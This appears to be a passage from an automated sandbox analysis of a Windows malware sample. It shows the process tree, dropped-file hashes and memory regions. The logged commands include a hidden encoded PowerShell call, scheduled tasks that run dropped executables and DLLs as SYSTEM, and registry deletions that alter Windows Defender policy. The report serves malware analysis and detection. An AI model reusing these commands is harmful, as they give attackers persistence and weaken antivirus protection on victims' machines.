                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gmDgFkbFC"
                                                                                                            2⤵
                                                                                                              PID:2276
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gmDgFkbFC"
                                                                                                              2⤵
                                                                                                                PID:3800
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "bCsHVTpDKRsgJbbvM" /SC once /ST 06:28:45 /RU "SYSTEM" /TR "\"C:\Windows\Temp\PdIuKibDUUQxOHXi\nWEskwEUVfOVpGu\DdIAlbB.exe\" SJ /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:4040
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "bCsHVTpDKRsgJbbvM"
                                                                                                                2⤵
                                                                                                                  PID:1156
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3624
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4520
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:3204
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:3908
                                                                                                                    • C:\Windows\Temp\PdIuKibDUUQxOHXi\nWEskwEUVfOVpGu\DdIAlbB.exe
                                                                                                                      C:\Windows\Temp\PdIuKibDUUQxOHXi\nWEskwEUVfOVpGu\DdIAlbB.exe SJ /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4156
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bmkQfSnzPaOQmejIPN"
                                                                                                                        2⤵
                                                                                                                          PID:2056
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:3004
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2836
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:3652
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:1344
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\aCihPuJdU\ByyqRS.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "DWGOMtUonAyVmtF" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3128
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "DWGOMtUonAyVmtF2" /F /xml "C:\Program Files (x86)\aCihPuJdU\qwchKNC.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4172
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "DWGOMtUonAyVmtF"
                                                                                                                                  2⤵
                                                                                                                                    PID:2328
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "DWGOMtUonAyVmtF"
                                                                                                                                    2⤵
                                                                                                                                      PID:3264
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "DePHkgrANbFXcc" /F /xml "C:\Program Files (x86)\lzmeupYjvcHU2\ZtazmGE.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1392
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "VcizYAvuthZEl2" /F /xml "C:\ProgramData\txBXwMIRPrsSMVVB\YVunkWj.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4152
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "wBCxFzStBtrXJcZhY2" /F /xml "C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR\AgHcQVp.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1704
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "bfQpDZKDdleaIHYfLCa2" /F /xml "C:\Program Files (x86)\gAVxmqQUvZVtC\EBMhwbD.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:400
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "yraZWSSXLaCwWiCxD" /SC once /ST 02:58:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\PdIuKibDUUQxOHXi\PUUoKxzd\ZTQfCWH.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1504
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "yraZWSSXLaCwWiCxD"
                                                                                                                                      2⤵
                                                                                                                                        PID:3728
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:2168
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:896
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3156
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4808
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "bCsHVTpDKRsgJbbvM"
                                                                                                                                                2⤵
                                                                                                                                                  PID:5112
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\PdIuKibDUUQxOHXi\PUUoKxzd\ZTQfCWH.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:32
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\PdIuKibDUUQxOHXi\PUUoKxzd\ZTQfCWH.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:2208
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "yraZWSSXLaCwWiCxD"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3300

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR\AgHcQVp.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    17d233ade30d89224b358287574db4c8

                                                                                                                                                    SHA1

                                                                                                                                                    b80bfc21bcf403e5c134ba83a483dad5b4696a77

                                                                                                                                                    SHA256

                                                                                                                                                    c02917e5faebb03efd162958628dfd24b2ee90e66691c5ee5e43fa091ae35a69

                                                                                                                                                    SHA512

                                                                                                                                                    d63a802ef44b9d0eae8bcc905a4f0efdc4ce7e77204f76312af313ae0c523b1eb725ad0cb3377c40b17879fcd7ea0b934d8312c28801b7e09a46bb000be497cf

                                                                                                                                                  • C:\Program Files (x86)\aCihPuJdU\qwchKNC.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    ed1997dbec4235f41beb5bac69a274a8

                                                                                                                                                    SHA1

                                                                                                                                                    b2864cab7e535330e553af7314eed595c033b015

                                                                                                                                                    SHA256

                                                                                                                                                    81325fe2d6182edfbfbfee882ff251760ec95abd08b0c510605bc946ef9a8fad

                                                                                                                                                    SHA512

                                                                                                                                                    5c3c272a19801b1864af8025f850392adb3dcae19e628b400403aee05a9645844965c9a29f7d5ab214b1b66b82fc0f8ef75406a8d21ff77d29b67381c655d851

                                                                                                                                                  • C:\Program Files (x86)\gAVxmqQUvZVtC\EBMhwbD.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    70097175e589545bfe08981df519a35f

                                                                                                                                                    SHA1

                                                                                                                                                    c96cee78490f95d14c087ab1189e04c8b47da93a

                                                                                                                                                    SHA256

                                                                                                                                                    d110f8156557ac3cbc12712d047820266280a91040eacded5ad5ea720fc60d03

                                                                                                                                                    SHA512

                                                                                                                                                    654da61edc820b037905fd2ed11307f0f5a08ac02a8aa2228c7922582eaef9141a761838b863382601e396f3ee71b21988eaca1bc0dc1736042660e434d38183

                                                                                                                                                  • C:\Program Files (x86)\lzmeupYjvcHU2\ZtazmGE.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    dccbe04c3e4332def8d3b5b50c94d3f1

                                                                                                                                                    SHA1

                                                                                                                                                    414bf63fed03dc108e61f36197099132cf96ca9b

                                                                                                                                                    SHA256

                                                                                                                                                    4513e78ce3261620e30619adcffe8b7aa330f4d5d5941028997aa4dcae3c1e0e

                                                                                                                                                    SHA512

                                                                                                                                                    56e05844a858206d0bc1901d0ac5557489a7b5343e6e2d15ddddcf1eedebd715c807d4d18459d07af391612f303d7e3e2acb0faf491e137308fe33c63c61a6b4

                                                                                                                                                  • C:\ProgramData\txBXwMIRPrsSMVVB\YVunkWj.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    320de18c88a5b057e55bdaaba6e4b27e

                                                                                                                                                    SHA1

                                                                                                                                                    dea15af2c2b3bc105d3fff87a685ad94fead2f88

                                                                                                                                                    SHA256

                                                                                                                                                    985accf5182c1e5fab5e72d5cb460a74a8de772c6eb82eeb0a48eff845cffc43

                                                                                                                                                    SHA512

                                                                                                                                                    839ba908372eb43b4804481463e2eb97bb7cb6621d333a0b33103cdfe0f2f682594f933df7811b66b9db7e96c1e0e84b9f8b3e93b2edc8980750661888a1cd40

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    7274a07d1b80de6f66290b47588cee3b

                                                                                                                                                    SHA1

                                                                                                                                                    d926b384806c755fe6b9d03f68852765aabb5703

                                                                                                                                                    SHA256

                                                                                                                                                    5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8

                                                                                                                                                    SHA512

                                                                                                                                                    b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCE80.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    de20cc4481a336a1d2f7522940c59c37

                                                                                                                                                    SHA1

                                                                                                                                                    f672f23d876ce0193295193f81a0ec74466c52df

                                                                                                                                                    SHA256

                                                                                                                                                    762681e5d3615cfe59840108d0509803a0e886e995436d82b9c40a9dcc1721c6

                                                                                                                                                    SHA512

                                                                                                                                                    4f7e046a23ef8560b990b2d16fde699c0a652021ce81bae5a6de1d24fc992d196929e7a3cfb487e90ff07faa73b04cd076cb37a021094019b65e0c44aaef67c9

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCE80.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    de20cc4481a336a1d2f7522940c59c37

                                                                                                                                                    SHA1

                                                                                                                                                    f672f23d876ce0193295193f81a0ec74466c52df

                                                                                                                                                    SHA256

                                                                                                                                                    762681e5d3615cfe59840108d0509803a0e886e995436d82b9c40a9dcc1721c6

                                                                                                                                                    SHA512

                                                                                                                                                    4f7e046a23ef8560b990b2d16fde699c0a652021ce81bae5a6de1d24fc992d196929e7a3cfb487e90ff07faa73b04cd076cb37a021094019b65e0c44aaef67c9

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSD239.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSD239.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\fHTVDPNOrFunBax\WAslQXU.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\fHTVDPNOrFunBax\WAslQXU.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    89cc7975a14aad3300c6153204fb9d68

                                                                                                                                                    SHA1

                                                                                                                                                    7d11622afedd253a323c4110415375f5c08775df

                                                                                                                                                    SHA256

                                                                                                                                                    6e98a878cf68bdb965263cb6a342670fbe270b76ae80a55e51d17366c6697e83

                                                                                                                                                    SHA512

                                                                                                                                                    369df45e77f4b07d6be920fe9d4dca298e602a248fb904b442bf2b26d713285a133c0e9f0d97ecec29d78c225d31c0ae642a53b77e8596ee03f6c724af4d107e

                                                                                                                                                  • C:\Windows\Temp\PdIuKibDUUQxOHXi\PUUoKxzd\ZTQfCWH.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    c6b7e7f936b7f2e8d44110ed0181f20d

                                                                                                                                                    SHA1

                                                                                                                                                    934b02d300d039ca28da9b1e7334b3816edc48f6

                                                                                                                                                    SHA256

                                                                                                                                                    d6c800f02fdeca41b8592bf0b81c1070d626aea67706ef366c988ee30062e607

                                                                                                                                                    SHA512

                                                                                                                                                    3261a86f7add416cc976ca1bbaf494c683996089cbb914710fcdee24a825800c50cf293918b8b04324c464b6ce26dafc86a36349a688ccabb223e85ac2e37479

                                                                                                                                                  • C:\Windows\Temp\PdIuKibDUUQxOHXi\PUUoKxzd\ZTQfCWH.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    c6b7e7f936b7f2e8d44110ed0181f20d

                                                                                                                                                    SHA1

                                                                                                                                                    934b02d300d039ca28da9b1e7334b3816edc48f6

                                                                                                                                                    SHA256

                                                                                                                                                    d6c800f02fdeca41b8592bf0b81c1070d626aea67706ef366c988ee30062e607

                                                                                                                                                    SHA512

                                                                                                                                                    3261a86f7add416cc976ca1bbaf494c683996089cbb914710fcdee24a825800c50cf293918b8b04324c464b6ce26dafc86a36349a688ccabb223e85ac2e37479

                                                                                                                                                  • C:\Windows\Temp\PdIuKibDUUQxOHXi\nWEskwEUVfOVpGu\DdIAlbB.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Windows\Temp\PdIuKibDUUQxOHXi\nWEskwEUVfOVpGu\DdIAlbB.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.7MB

                                                                                                                                                    MD5

                                                                                                                                                    c78ba43d0f706e4f6b0b2c832ac82a40

                                                                                                                                                    SHA1

                                                                                                                                                    e6674628f9edd95f69ac8fe4c830a5c45eb91be1

                                                                                                                                                    SHA256

                                                                                                                                                    51de9a46bc4b0b89b0730af7582925129725d139e85328d0d6824306da23509f

                                                                                                                                                    SHA512

                                                                                                                                                    1f1ee0d7f889e73515385f95ecf3dea779edf40094e370bab61707c70bb0789a055afd6f9b849fbd96717444bb9583573d53e554e46ed9f0f009fe68e46778fe

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                    MD5

                                                                                                                                                    abd502b9e62fa47973a3f86f4a8c77ef

                                                                                                                                                    SHA1

                                                                                                                                                    4bf8cb3cced219b37a80f04a86004eff9bed28ec

                                                                                                                                                    SHA256

                                                                                                                                                    433f9a32c94015e9511aed247b7746069f52c2d8312a1c345dd32cb15e647001

                                                                                                                                                    SHA512

                                                                                                                                                    b892e5a878c4975fd0cb1728d5d66675000ab6204319de063a935f5f72ec988dc70ae6a8c86b00ba30d9954e854dc8c4c41a0677c9b22434d587f59f7ea167f0

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/2208-247-0x0000000002B00000-0x00000000037F8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    13.0MB

                                                                                                                                                  • memory/2340-154-0x00007FFA06AB0000-0x00007FFA07571000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2340-151-0x000001CB4E720000-0x000001CB4E742000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2340-152-0x00007FFA06AB0000-0x00007FFA07571000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2468-159-0x0000000010000000-0x0000000010CF8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    13.0MB

                                                                                                                                                  • memory/3624-221-0x00007FFA05E80000-0x00007FFA06941000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3624-218-0x00007FFA05E80000-0x00007FFA06941000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4156-229-0x0000000007320000-0x00000000073A5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/4156-233-0x0000000007640000-0x00000000076A0000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    384KB

                                                                                                                                                  • memory/4156-248-0x0000000008230000-0x00000000082F1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    772KB

                                                                                                                                                  • memory/4156-243-0x0000000008030000-0x00000000080A7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    476KB

                                                                                                                                                  • memory/5012-138-0x0000000010000000-0x0000000010CF8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    13.0MB

                                                                                                                                                  • memory/5028-167-0x0000000004C50000-0x0000000004CB6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/5028-168-0x00000000052F0000-0x000000000530E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/5028-164-0x0000000004500000-0x0000000004B28000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/5028-166-0x0000000004BE0000-0x0000000004C46000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/5028-163-0x0000000003CE0000-0x0000000003D16000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/5028-165-0x00000000043E0000-0x0000000004402000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB